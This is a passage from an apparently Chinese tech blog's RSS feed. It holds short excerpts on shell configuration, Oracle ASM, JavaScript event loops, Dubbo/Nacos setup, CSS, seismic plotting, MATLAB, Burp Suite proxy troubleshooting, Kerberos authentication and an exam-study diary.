      <description> 问题：自己在 ~/.bash_profile 中配置环境变量, 可是每次重启终端后配置不生效.需要重新执行 : $source ~/.bash_profile后，才会生效。原因：自己是在bash中配置的环境变量，而当前系统是使用的是shell&#xA;查看当前使用的shell，终端输入：echo $SHELL&#xA;输出是/bin/zsh，说明使用的是zsh，就会出现这个问题，如果是/bin/bash 就没有这个问题解决办法：在.zshrc文件加中添加source ~/.bash_profile,方法如下 进入主目录 cd ~显示隐藏文件，找到.zshrc文件 ls -a（如果没有可以直接创建）编辑文件 vi .zshrc按i进入编辑模式，加入source ~/.bash_profile后，esc，再输入 :wq 保存退出 </description>
    </item>
    <item>
      <title>oracle asm 状态,ASM 规划ASM DISK GROUP、查看asm 磁盘当前状态等</title>
      <link>https://bchobby.github.io/posts/3619d6acd10544f63a4f3184316c5b39/</link>
      <pubDate>Sat, 10 Apr 2021 13:53:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3619d6acd10544f63a4f3184316c5b39/</guid>
      <description>规划ASM DISK GROUP、查看asm 磁盘当前状态、mount or dismount 磁盘组、检查磁盘组 metadata 的内部一致性&#xA;规划ASM DISK GROUP：&#xA;1. 每个磁盘组里的磁盘应该大小、性能、新旧等一致，不能有太大差距&#xA;2. 对database&#xA;files 和 fast recovery area 分别创建不同的diskgroup。 一般来说我们也可以把备份文件存放到FRA里。&#xA;所以Oracle 建议我们不要创建太多的diskgroup，2组就够了，一组DATA,一组FRA.&#xA;ORACLE ASM 在磁盘组，磁盘和文件的个数限制如下：&#xA;(1)最多63个disk groups&#xA;(2)最多10000个ASM disks&#xA;(3)每个disk group里最多1百万个文件。&#xA;非Exadata 存储的情况下，ASM 存储大小限制： (若是exadata，则容量*2倍)&#xA;(1)支持的每个ASM disk 最大容量是2 TB。&#xA;(2)整个ASM存储系统最大支持的空间是20 PB。&#xA;查看当前asm磁盘状态信息 (grid用户执行)&#xA;1. --查看有多少asm磁盘&#xA;node1-&amp;gt; kfod disk=all&#xA;2. --查看asm磁盘组&#xA;node1-&amp;gt; kfod op=groups&#xA;3. 查看磁盘与磁盘组的对应关系&#xA;node1-&amp;gt; kfod ds=true di=all&#xA;mount or dismount 磁盘组&#xA;注意：&#xA;当我们dismount 一个disk</description>
    </item>
    <item>
      <title>浏览器环境和node环境下的事件循环</title>
      <link>https://bchobby.github.io/posts/d6551ac775f38cc6736bbd075ae220c9/</link>
      <pubDate>Sat, 10 Apr 2021 12:46:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6551ac775f38cc6736bbd075ae220c9/</guid>
      <description>前提：浏览器中的事件循环（Event Loop）和node环境下的事件循环表现是不同的。因为运行和执行是两个概念，不同的环境造就不同的人生。&#xA;一、浏览器中的 Event Loop&#xA;1、核心概念&#xA;事件循环中的异步队列有两种：macro（宏任务）队列和 micro（微任务）队列。宏任务队列可以有多个，微任务队列只有一个。&#xA;（1）常见的 macro-task 比如：setTimeout、setInterval、 setImmediate、script（整体代码）、 I/O 操作、UI 渲染等。&#xA;（2）常见的 micro-task 比如: process.nextTick、new Promise().then(回调)、MutationObserver(html5 新特性) 等。&#xA;2、过程图&#xA;（1）一开始执行栈空,我们可以把执行栈认为是一个存储函数调用的栈结构，遵循先进后出的原则。micro 队列空，macro 队列里有且只有一个 script 脚本（整体代码）。&#xA;（2）全局上下文（script 标签）被推入执行栈，同步代码执行。在执行的过程中，会判断是同步任务还是异步任务，通过对一些接口的调用，可以产生新的 macro-task 与 micro-task，它们会分别被推入各自的任务队列里。同步代码执行完了，script 脚本会被移出 macro 队列，这个过程本质上是队列的 macro-task 的执行和出队的过程。&#xA;（3）上一步我们出队的是一个 macro-task，这一步我们处理的是 micro-task。但需要注意的是：当 macro-task 出队时，任务是一个一个执行的；而 micro-task 出队时，任务是一队一队执行的。因此，我们处理 micro 队列这一步，会逐个执行队列中的任务并把它出队，直到队列被清空。&#xA;（4）JS引擎线程挂起，GUI线程执行渲染，执行渲染操作，更新界面&#xA;（5）检查是否存在 Web worker 任务，如果有，则对其进行处理&#xA;（6）上述过程循环往复，直到两个队列都清空&#xA;所以，事件循环的过程归纳为：&#xA;当某个宏任务执行完后（首次执行的主代码块或者任务队列中的回调函数）,会查看是否有微任务队列。如果有，先执行微任务队列中的所有任务，如果没有，JS引擎线程挂起，GUI线程执行渲染，GUI线程渲染完毕后挂起，JS引擎线程会读取宏任务队列中下一个排在最前的任务，执行宏任务的过程中，遇到微任务，依次加入微任务队列。栈空后，再次读取微任务队列里的任务，依次类推。&#xA;3、示例&#xA;分析：&#xA;（1）一开始执行栈的同步任务（整体script代码块属于宏任务）执行完毕，会去查看是否有微任务队列，上题中存在then(有且只有一个)，然后执行微任务队列中的所有任务输出 Promise1，同时会生成一个宏任务 setTimeout2,放到宏任务队列。&#xA;（2）微任务队列所有微任务执行完后，然后去查看宏任务队列，宏任务 setTimeout1 在 setTimeout2 之前，宏任务队列有两个宏任务，setTimeout1和setTimeout2，先执行宏任务 setTimeout1，输出 setTimeout1&#xA;（3）在执行宏任务 setTimeout1 时会生成微任务 Promise2 ，放入微任务队列中，接着先去清空微任务队列中的所有任务，输出 Promise2</description>
    </item>
    <item>
      <title>dubbo整合nacos</title>
      <link>https://bchobby.github.io/posts/4bf2751fda7ba130b2a2aa0b6ce0cce9/</link>
      <pubDate>Sat, 10 Apr 2021 00:38:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bf2751fda7ba130b2a2aa0b6ce0cce9/</guid>
      <description>一，dubbo-nacos-common 描述：公共模块&#xA;1.依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;version&amp;gt;1.18.18&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.接口 public interface OrderService { void createOrder(Integer uid,Integer skuid,Integer skunum); } 二，dubbo-nacos-provider 描述：服务提供者&#xA;1.依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.yhd&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-nacos-common&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.nacos&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;nacos-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-registry-nacos&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2.配置文件 server: port: 8001 spring: application: name: service-prod dubbo: # 配置服务信息 application: name: service-prod # 禁用QOS同一台机器可能会有端口冲突现象 qos-enable: false qos-accept-foreign-ip: false # 配置注册中心 registry: address: nacos://localhost:8848 # 设置协议-协议由提供方指定消费方被动接受 protocol: name: dubbo port: 20880 3.</description>
    </item>
    <item>
      <title>轮廓文本阴影（outlined text shadow with fallback）</title>
      <link>https://bchobby.github.io/posts/5394c75b5c64ba468ee3b993030b428b/</link>
      <pubDate>Fri, 09 Apr 2021 15:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5394c75b5c64ba468ee3b993030b428b/</guid>
      <description>轮廓文本阴影 (outlined text shadow with fallback） 示例HTMLCSS 更多有趣示例 尽在知屋安砖社区&#xA;示例 HTML &amp;lt;h1&amp;gt;知屋安砖&amp;lt;/h1&amp;gt; CSS body { font-family: system-ui, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } h1 { font-size: calc( 1em + 30vmin ); font-weight: 900; color: tomato; --x-offset: -0.0625em; --y-offset: 0.0625em; --stroke: 0.025em; --background-color: white; --stroke-color: lightblue; text-shadow: var(--x-offset) var(--y-offset) 0px var(--background-color), calc( var(--x-offset) - var(--stroke) ) calc( var(--y-offset) + var(--stroke) ) 0px var(--stroke-color); } /* for browsers that support spread, added in https://drafts.</description>
    </item>
    <item>
      <title>使用Madagascar实现三维地震数据体的动态展示</title>
      <link>https://bchobby.github.io/posts/878f0767867686e552130c43dfbd7980/</link>
      <pubDate>Fri, 09 Apr 2021 14:31:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/878f0767867686e552130c43dfbd7980/</guid>
      <description>#!/bin/sh plot() { segyFile=3D.segy segyDir=. imgDir=. title=3D ny= number Of Inline nx= number Of Crossline crl0= the first Crossline to show inl0= the first Inline to show gain=98 inlshow= the default inline to show movinl= how many inline to show ((movfrom=$movinl-$inl0)) ((windowf3=$inlshow-$inl0)) sfsegyread verb=1 endian=y tape=$segyFile | sfwindow f1=0 f2=0 f3=0 n1=trace length\ | sfput n2=$ny n3=$nx label1=Sample label2=Crossline label3=Inline title=&#34;&#34;\ d1=1 d2=1 d3=1 unit1=&#34;&#34; unit2=&#34;&#34; unit3=&#34;&#34; o1=0 o2=${crl0} o3=${inl0} \ | sfpow pow1=1 &amp;gt;$title.</description>
    </item>
    <item>
      <title>使用Madagascar绘制剖面图</title>
      <link>https://bchobby.github.io/posts/306af0efc10631e9b903fdbfeb92d464/</link>
      <pubDate>Fri, 09 Apr 2021 14:19:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/306af0efc10631e9b903fdbfeb92d464/</guid>
      <description>1.查看要绘制的segy文件的总道数，以确定绘制范围 sfsegyread &amp;lt; 文件名.segy endian=1 | sfin n1 : 每一道的采样点数&#xA;n2 : 总道数&#xA;2.快速预览从第a道起的b道剖面（注意:a+b&amp;lt;n2） sfsegyread &amp;lt; 文件名.segy endian=1 | sfput d1=0.01 unit1=km label1=Depth title= 标题 |sfpow powl=0 | sfwindow f2=a n2=b | sfgrey pclip=97 | sfpen &amp;amp; 如果想加色标，可以这么写:&#xA;sfsegyread &amp;lt; 文件名.segy endian=1 | sfput d1=0.01 unit1=km label1=Depth title=标题 |sfpow powl=0 | sfwindow f2=a n2=b | sfgrey pclip=97 scalebar=y | sfpen &amp;amp; 3.将剖面图转为vpl文件 sfsegyread &amp;lt; 文件名.segy endian=1 | sfput d1=0.01 unit1=km label1=Depth title=标题 |sfpow powl=1 | sfwindow f2=a n2=b | sfgrey pclip=97 &amp;gt; 文件名.</description>
    </item>
    <item>
      <title>matlab函数之reshape()</title>
      <link>https://bchobby.github.io/posts/c3b54fcfd510f28ce3b2a4795f610e9a/</link>
      <pubDate>Fri, 09 Apr 2021 09:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3b54fcfd510f28ce3b2a4795f610e9a/</guid>
      <description>reshape - 重构数组 功能： B = reshape(A, sz);&#xA;按矢量sz定义的维度（包括行数 列数 维数）重构矩阵A来得到矩阵B&#xA;实现原理 先将矩阵A先排列成一列(结果感受就是按列优先排列)，再按照矢量sz定义大小的行数切割&#xA;结构及实例 A = rand(4,5)&#xA;0.3537 0.6694 0.6692 0.3119 0.8322 0.6230 0.1045 0.5429 0.9518 0.3994 0.6557 0.4872 0.5621 0.9596 0.4807 0.1019 0.2323 0.9449 0.1287 0.2518 1. B = reshape(A, m, n) 返回m * n的矩阵 （m:行数,n：列数）&#xA;B = reshape(A, 10, 2)&#xA;0.3537 0.5621 0.6230 0.9449 0.6557 0.3119 0.1019 0.9518 0.6694 0.9596 0.1045 0.1287 0.4872 0.8322 0.2323 0.3994 0.6692 0.</description>
    </item>
    <item>
      <title>Logisim新手入门实验</title>
      <link>https://bchobby.github.io/posts/18572f26bd08c9f26d227471af427eff/</link>
      <pubDate>Thu, 08 Apr 2021 17:01:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18572f26bd08c9f26d227471af427eff/</guid>
      <description>索引 LED计数电路&#xA;5输入按键编码器&#xA;七段数码管显示驱动&#xA;一.LED计数电路&#xA;1.新建项目“LED计数电路”&#xA;2.绘制电路图&#xA;3.封装电路&#xA;4.再新建一个测试电路项目“LED计数测试电路”，加按钮，LED灯并连接。效果如下图&#xA;二.5输入按键编码器&#xA;1.新建项目“5输入按键编码器”&#xA;2.通过excel真值表自动生成表达式&#xA;3.封装电路&#xA;4.再将封装设计好的电路移动到“LED计数测试电路”中，连接，实现计数效果。&#xA;三.七段数码管显示驱动&#xA;1.新建项目“七段数码管显示驱动”&#xA;2.通过输入真值表自动生成表达式&#xA;3.封装电路&#xA;4.再新建项目“7段数码管显示驱动测试”，将封装好的电路移动到项目中，通过时钟来测试&#xA;5.再将封装设计好的电路移动到“LED计数测试电路”中，连接，实现计数效果。&#xA;总结：这个实验其实就是给新手熟悉logisim操作的！</description>
    </item>
    <item>
      <title>斐波那契数列（II）（使用循环而非递归）</title>
      <link>https://bchobby.github.io/posts/849d62034661be5ee919ffb67f3f65a6/</link>
      <pubDate>Thu, 08 Apr 2021 16:08:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/849d62034661be5ee919ffb67f3f65a6/</guid>
      <description> 斐波那契数列（II） 题目答案 题目 答案 #include&amp;lt;iostream&amp;gt; using namespace std; int main() { int n; cin&amp;gt;&amp;gt;n; int result,tmp,f1=1,f2=1; if(n==1||n==2) tmp=1; else { for(int i=3;i&amp;lt;=n;i++) { tmp=(f1+f2)%998244353; f1=f2; f2=tmp; } result=tmp; } cout&amp;lt;&amp;lt;tmp; } </description>
    </item>
    <item>
      <title>无法启动此程序,因为计算机中丢失api-ms-win-crt-runtime-|1-1-0.dll</title>
      <link>https://bchobby.github.io/posts/0d0658c4b34aa8fe40c6687451368721/</link>
      <pubDate>Thu, 08 Apr 2021 16:07:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d0658c4b34aa8fe40c6687451368721/</guid>
      <description> 安装python时，出现启动程序报错，最大的可能是该文件损坏了。&#xA;然后我是用vc_redist.x64工具包修复依旧报错，多次尝试后，终于明白了原因。&#xA;这是因为损坏的文件没有被删除，导致工具包修复依旧报错。 现在C盘中搜索到该文件（可能由于之前未删除就修复导致存在多个api-ms-win-crt-runtime-|1-1-0.dll文件），直接删除。然后再用vc_redist.x64进行修复。即可&#xA;之后重启电脑，解决。&#xA;就这么个玩意儿，怎么好意思让大家去资源社区下载，放网站吧。可以直接下载该工具包：&#xA;https://www.microsoft.com/en-us/download/details.aspx?id=48145.&#xA;搞定！！ </description>
    </item>
    <item>
      <title>element表格组件，内容自动滚动（并可设置）</title>
      <link>https://bchobby.github.io/posts/63ac37a5bf8e2b236f9b7d6a6772b315/</link>
      <pubDate>Thu, 08 Apr 2021 14:47:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63ac37a5bf8e2b236f9b7d6a6772b315/</guid>
      <description>最近项目有个需求，两个表格，定时自动切换，而且每个表格内容自动滚动，还要加个设置功能，可以设置两个表格之前自动切换的间隔时间，和滚动速度，大概效果如下&#xA;话不多说，直接上代码&#xA;主要的功能方法&#xA;autoRoll（）内容自动滚动的实现&#xA;autoChange（）两个表格之间自动切换的实现&#xA;&amp;lt;!-- * @Description: * @Author: lzp * @Date: 2021-04-06 15:58:13 * @LastEditTime: 2021-04-08 14:30:46 * @LastEditors: xxx --&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;main&#34;&amp;gt; &amp;lt;div class=&#34;setbox&#34;&amp;gt; &amp;lt;el-row :gutter=&#34;15&#34;&amp;gt; &amp;lt;el-form ref=&#34;elForm&#34; :model=&#34;formData&#34; size=&#34;small&#34; label-width=&#34;px&#34; label-position=&#34;left&#34;&amp;gt; &amp;lt;el-col :span=&#34;23&#34;&amp;gt; &amp;lt;el-form-item label-width=&#34;110px&#34; label=&#34;数据刷新（秒）&#34;&amp;gt; &amp;lt;el-input-number v-model=&#34;formData.refreshTime&#34; placeholder=&#34;单位/s&#34; :step=&#34;1&#34; :min=&#34;0&#34;&amp;gt;&amp;lt;/el-input-number&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;24&#34;&amp;gt; &amp;lt;el-form-item label-width=&#34;110px&#34; label=&#34;滚动时间）&#34;&amp;gt; &amp;lt;el-input-number v-model=&#34;formData.rollTime&#34; placeholder=&#34;单位/10ms&#34; :step=&#34;1&#34; :min=&#34;0&#34;&amp;gt;&amp;lt;/el-input-number&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;24&#34;&amp;gt; &amp;lt;el-form-item label-width=&#34;110px&#34; label=&#34;滚动间距&#34;&amp;gt; &amp;lt;el-input-number v-model=&#34;formData.rollPx&#34; placeholder=&#34;单位/px&#34; :step=&#34;1&#34; :min=&#34;</description>
    </item>
    <item>
      <title>大连海事大学计算机20考研（计算机应用 技术）专硕410&#43;经验贴</title>
      <link>https://bchobby.github.io/posts/d295d720b37c66aa02adb89ba130ff24/</link>
      <pubDate>Thu, 08 Apr 2021 12:45:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d295d720b37c66aa02adb89ba130ff24/</guid>
      <description>大连海事大学计算机20考研（计算机应用 技术）专硕410+经验贴&#xA;有什么事，有资料的！有资料的！有问题可以直接问我！终于！我也是学姐学长了，大连海事我来啦！一直没有写经验贴是因为觉得自己还不是准研究生，昨天录取名单公布！上岸啦，今年是网络复试，所以网络复试的经验对下一届的貌似没有什么用处，你们就看看初试我的时间分配，还有使用的方法吧！&#xA;首先我的时间是这样分配的，3到6月份我就是简单看了一遍数学（数学我一起听的张宇粑粑的课，老老实实做18讲就可以，线代跟着李永乐爷爷就可以，1000题），英语就是过了一遍考虫的8节词汇课（vivian老师的强烈推荐，声音太治愈了!，去b站找就可以，我听的2019版本的，后来比对2020的好像没啥区别，所以随便找一年就行），专业课没有任何进度，政治没有任何进度，因为最后还有一些实习，暑假回家发现学的线代都忘记了，好气!&#xA;重点来了！暑假我是选择回家学习的，时间每天大概是早上6点到晚上10点半，哥哥偷懒，7点起来学习的，所以我每天稍微比他多学了一个小时的英语单词，最后英语比哥哥多了9分，也还可以哈哈哈哈,一会告诉你他背单词的独家秘诀。&#xA;时间分配是这样的：&#xA;8：00-10:00 张宇粑粑强化课+闭关修炼（只做高数部分）+重复看前一天的笔记。（闭关修炼暑期做了两遍，第一遍跟着张宇讲，不要在书上写答案，第二遍自己找a4重新做，暑期结束之前做完两遍的你，数学好得不得了，还有18讲也要再做一遍哦！）&#xA;10:00-12:00 线代强化课-线性代数辅导书（都是李永乐爷爷的，忘记叫什么名字了！）&#xA;13:30-15:30 英语 这呢第一遍复习算是，我们是用的一个超级可爱的学姐的方法，把每个阅读都翻译到本子上，开始挑自己不认识的单词，重复背。我是每天翻译一篇阅读理解，不要做答案！到暑期结束，我做到2015吧大概，如果你前期跟着考虫都过一遍词汇课，基本每篇有10-20个不认识的，ps:哥哥就做到2013大概，单词也都没记住，哭！&#xA;15:30-5:30 又回数学来了，我就是喜欢做数学，哈哈哈，这时候就是把上午学的东西，自己整理一遍，题不用整理错题本，直接拿题做，数学110+肯定可以。&#xA;19:00-10:00 这段时间三个小时，我就开始看809数据结构了，怎么说呢，数据结构是算是好学的，因为海事数据结构题目比较沉稳，yes！买一本天勤就可以+初试材料，根据初试大纲，在书上画出重点，一天一章，我没有看视频，哪里不会我就去b站找一找，暑假中期就可以做往年真题，编程还有证明题我都留下来没有做，等10月才开始的。&#xA;10:00-10:30 干哈呢，躺床上用百词斩背25个单词，背完玩会手机，呼呼！&#xA;政治没看政治没看，原谅我涛涛，把你忘记了！但是我还是考了75+&#xA;暑期就这么愉快的结束啦！紧接着回学校，可以和哥哥一起学习啦！9月到10月大约是早8点半到10点，时间分配如下：&#xA;8:30-10:30 高数，从暑假回来，刚开始不要做真题，你会听到你周围的小伙伴说，真题真简单，压住自己，别做，稳住，我们开始继续重复一遍闭关修炼+18讲，做的过程中，标注出你认为难的，容易做错的题！&#xA;10:30-12:00 线代，跟着线代王走，重复做线性代数辅导书，因为2020的线代 二次型是从定义角度出发的那种题型，有网友说是跟张宇8套卷里面的线代题型类似，可惜我最后冲刺没有做，所以有时间的冲刺做一下李林+张宇8套卷。&#xA;2:00-4:00 英语，这时候哥哥算是真真正正开始背单词了，嘻嘻，所以想考60-70的可以这按照哥哥的复习思路，直接挑阅读理解里面不认识的单词背，并且找到同义词，形近词，PE单词总结起来，重复背，一直背到12月份，完全没有看什么语法，也没有长难句，，我还是按照暑假的方法继续做到了2018年的真题卷，到9月份末尾我们俩完成的就只有阅读的单词&#xA;4:00-6:00 依旧是重复数学，错题，容易错的题，按照趋势来看，同学们一定要加大自己的计算量，真正考试计算量出奇的大！&#xA;8:00-10:00 专业课+政治，政治听徐涛的强化课+肖爷爷的那个精讲精练，每天2倍速听听，我还傻乎乎的记笔记，结果没用，啥也记不住，就听听就得了，缓解一下数学带来的压力，按照涛涛视频的顺序学马原啥的就可以。专业课依旧正常学，做真题，找自己不会的，两个人互相问，互相考判断，填空那些知识点。&#xA;回去洗漱+百词斩25个单词，呼呼。&#xA;10月份开始了，这个阶段，时间大概就7点到10点，10月中旬到11月中旬，我们考研小分队是直接学到11点50，在回寝室。&#xA;7:00-8:00 这个时间就是一遍吃面包，一遍看看昨天学习的内容，阅读理解的英语单词，昨天的数学公式，专业课知识等。&#xA;8:00-11:00 高等数学 可以开始真题了（我买的张宇的真题，这个随便嘻嘻嘻），前两年真题超级简单，1999的吧，100分的卷子不用掐时间做，随心所欲一点。到150的就要按照时间来，拿个闹钟，自己看看能做完多少，标注错题。&#xA;11:00-11:30 这个时间 定外卖，商量一下吃啥 ，是不是太具体了，哈哈哈，放松一下，缓解一下脑袋。&#xA;13:00-15:00 英语开始听唐迟的课，直接上唐叔的2010-2020的英语真题课，就够了，这是第一遍做阅读理解，不要在卷子上写答案，我第一遍自己做，大概每篇就错两个，听到2018年，再从头2010的重新做，拿个a4纸，标注日期，第二遍每篇，错一个到2个，也是做到2018年，再从头2010开始做，写卷子上就可以了，这回就错的很少，记住要掌握你错的原因，是方法不对，还是单词不认识。翻译可以做起来了，跟任何一个翻译老师都可以，只听真题的翻译就可以，英语二不需要技巧。还有英语二的新题型，自己做就可以，不需要听视频，也可以做起来了，不用做完形填空！。&#xA;15:30-17:30 还是学数学，这回做真题的错题+闭关修炼错题，闭关修炼做3遍以上，你会得到一个满意的分数（ps:汤家凤老师的也超级好，但是我听了：“这可不得了”，我就哈哈笑，影响不太好，而且张宇的题难了一点，就比较贴近真题.）。&#xA;19:00-21:00 听涛涛强化，直到肖秀荣爷爷的8+4卷出来，直接做选择，我当时是跟哥哥做完了，互相对答案，11-12月份初我们都没有背大题，我们赌对了，确实不用背。&#xA;晚上，就是专业课，开始背证明题还有编程大题，其他的互相都整明白了。&#xA;11中旬到12月20日：&#xA;这段期间，基本就是真题+心态&#xA;高数：真题+李林6卷+李林4卷（挑题做）&#xA;英语：就是练字还有作文！&#xA;真题+大概考研前一周到两周刘晓燕老师的救命班（这时我们才开始做完形填空，按照她的方法能得4分）+作文（大作文不需要买！随便去小红书或者知乎啥的找，背下来往里面套就可以，小作文我们也是从刘晓燕老师的救命班才开始写，她会说几个万能的句式）！！一定要买答题卡，淘宝就有，练一练自己的字体，哥哥的字简直是超级无敌好看，小小的，但是很清楚，可惜在学校没法上图，我就按照他的学的，贼好！最后两周就好好写字！&#xA;专业课：真题就够了，专业课拉不开分，学的特别快，好好学基本130以上，注意一下有一个给你编程的句子，让你写答案的那道题，15分挺拉风，剩下大家都会，我觉得的哈哈。&#xA;政治：我跟哥哥就是把肖秀荣爷爷说必背的4套卷，前两套全背下来了，考试的时候全写上就可以，实在不会就抄材料（转换一下说，不能一次不差），最后夸国家，国家多么美好呀！大胆预测啊，今年应该都是疫情吧，致敬守护我们的医护人员！字也同英语，一定要练好看，&#xA;以上适用于专硕哦，英语我用的时间真的仅次于数学，可最后考试改了一下阅读答案，改错了，所以千万不要随便改英语答案，保佑大家！&#xA;不知道有没有人看下去，这里是复试经验，复试是分为专业课+英语面试+综合面试，今年就只有两场，分别是专业课和综合面试。&#xA;专业课是最拉分的，今年是抽题的形式，随便抽题，正常年份只要做好真题+看好书就可以；&#xA;综合面试是你进去考场，老师确认你姓名，然后说面试开始，英语问题我准备基本有以下几个：&#xA;1 介绍家乡；&#xA;2 你为什么想来我们学校；&#xA;3.你想学什么专业/研究方向；&#xA;4.你大学最喜欢的有哪些课程，特点；&#xA;5.介绍一下本科学校；&#xA;6.介绍家庭；</description>
    </item>
    <item>
      <title>Burpsuite教程(五)Burpsuite无法抓包解决办法</title>
      <link>https://bchobby.github.io/posts/1247f9a77f0b26360d27b7b5e16483b3/</link>
      <pubDate>Thu, 08 Apr 2021 11:18:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1247f9a77f0b26360d27b7b5e16483b3/</guid>
      <description>文章目录 1.问题描述1.1原因一 未正确配置1.2 原因二 证书无效 2.解决办法2.1 更换抓包工具2.2 Fiddler和Burpsuite联动 3.流量路径 1.问题描述 有时候按照教程配置之后也无法抓包，有哪些原因呢？&#xA;1.1原因一 未正确配置 尝试下面教程重新配置&#xA;Burpsuite抓包教程&#xA;1.2 原因二 证书无效 有的网站对证书做了限制或者黑名单，所以Burpsuite无法抓取&#xA;2.解决办法 2.1 更换抓包工具 换成Fiddler:&#xA;Fiddler抓包教程&#xA;有朋友觉得fidder对数据包进行操作不方便，那么可以将burpsuite作为上层代理，把fiddler抓到的流量转到burpsuite上面，然后进行操作就很方便了。方法见下：&#xA;2.2 Fiddler和Burpsuite联动 总体配置不变，首先参考下面教程正确配置两个工具&#xA;Burpsuite抓包教程&#xA;Fiddler抓包教程&#xA;然后Fiddler开启网关&#xA;最后各个工具代理配置情况&#xA;firefox浏览器代理配置：&#xA;Fiddler代理配置：&#xA;Fiddler代理网关：&#xA;Burpsuite代理：&#xA;3.流量路径 服务器–&amp;gt;Fiddler–&amp;gt;Burpsuite–&amp;gt;服务器</description>
    </item>
    <item>
      <title>Kerberos安全认证原理</title>
      <link>https://bchobby.github.io/posts/c738d123885a2ee849a1717d14a3b49b/</link>
      <pubDate>Wed, 07 Apr 2021 15:32:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c738d123885a2ee849a1717d14a3b49b/</guid>
      <description>目录&#xA;1、Kerberos是什么&#xA;2、主要角色&#xA;3、基本概念&#xA;4、认证过程&#xA;4.1 初始验证&#xA;4.2 获取服务票据&#xA;4.3 服务验证&#xA;5、环境假设&#xA;6、局限性&#xA;7、相关命令&#xA;参考文档：&#xA;协议： 协议&#xA;主要命令： 主要命令&#xA;1、Kerberos是什么 Kerberos是一种一种网络身份验证协议，只包括验证环节，不负责授权。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。&#xA;用户只需输入一次身份验证信息，就可凭借此验证获得的票据授予票据（ticket-granting ticket）访问多个接入Kerberos的服务，即SSO（Single Sign On，单点登录）。&#xA;在Kerberos认证中，最主要的问题是如何证明“你是你”的问题，如当一个Client去访问Server服务器上的某服务时，Server如何判断Client是否有权限来访问自己主机上的服务，同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性，这正是Kerberos解决的问题。&#xA;2、主要角色 在Kerberos协议中主要是有三个角色的存在：&#xA;访问服务的Client提供服务的ServerKDC（Key Distribution Center）密钥分发中心 KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务等。KDC服务作为客户端和服务器端信赖的第三方，为其提供初始票据（initial ticket）服务和票据授予票据（ticket-granting ticket）服务，前半部分被称为AS，后半部分被称为TGS：&#xA;AS： Authentication Server，认证服务，用来验证Client端的身份，验证通过就会给一张TGT（Ticket Granting Ticket）票给Client。TGS： Ticket Granting Server，许可证服务，用来将AS发送给Client的TGT换取访问Server端的票据ST（Service Ticket）。有的地方也称呼ST为TGS Ticket，或者直接叫Ticket。 3、基本概念 